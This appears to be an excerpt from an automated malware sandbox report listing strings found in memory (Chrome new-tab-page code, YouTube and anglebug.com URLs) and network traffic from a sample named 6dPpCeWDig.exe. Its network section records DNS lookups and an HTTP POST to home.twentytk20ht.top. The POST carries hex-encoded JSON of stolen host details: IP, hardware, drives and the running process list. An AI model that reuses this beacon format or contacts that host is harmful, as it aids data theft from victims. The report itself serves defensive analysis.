Source: chrome.exe, 00000003.00000003.1858552785.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1858834969.00003D84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1858777666.00003D8400F3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.1858552785.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1858834969.00003D84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1858777666.00003D8400F3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000002.1889757926.00003D8400B74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1889757926.00003D8400B74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/< equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1887457012.00003D84006A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889757926.00003D8400B74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889400932.00003D8400AA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1889757926.00003D8400B74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/QE equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1890528111.00003D8400D14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: httpbin.org
Source: global traffic DNS traffic detected: DNS query: home.twentytk20ht.top
Source: global traffic DNS traffic detected: DNS query: twentytk20ht.top
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: unknown HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 502978Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 39 34 30 35 33 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.css
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.jpg
Source: chrome.exe, 00000003.00000002.1887969248.00003D84007D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2517U
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/32067
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3584O
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890249883.00003D8400C84000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890249883.00003D8400C84000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890249883.00003D8400C84000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3965.
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3970W
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4405%
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4551F
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4722~
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000003.00000002.1887969248.00003D84007D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5055H
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5281)
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5371I
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5421_
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/54301
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000003.00000002.1885490190.00003D84004A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000003.00000002.1885490190.00003D84004A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5658eup.?
Source: chrome.exe, 00000003.00000002.1887969248.00003D84007D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/58819
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5881:
Source: chrome.exe, 00000003.00000003.1855458918.00003D8400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000003.00000002.1890026907.00003D8400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5906
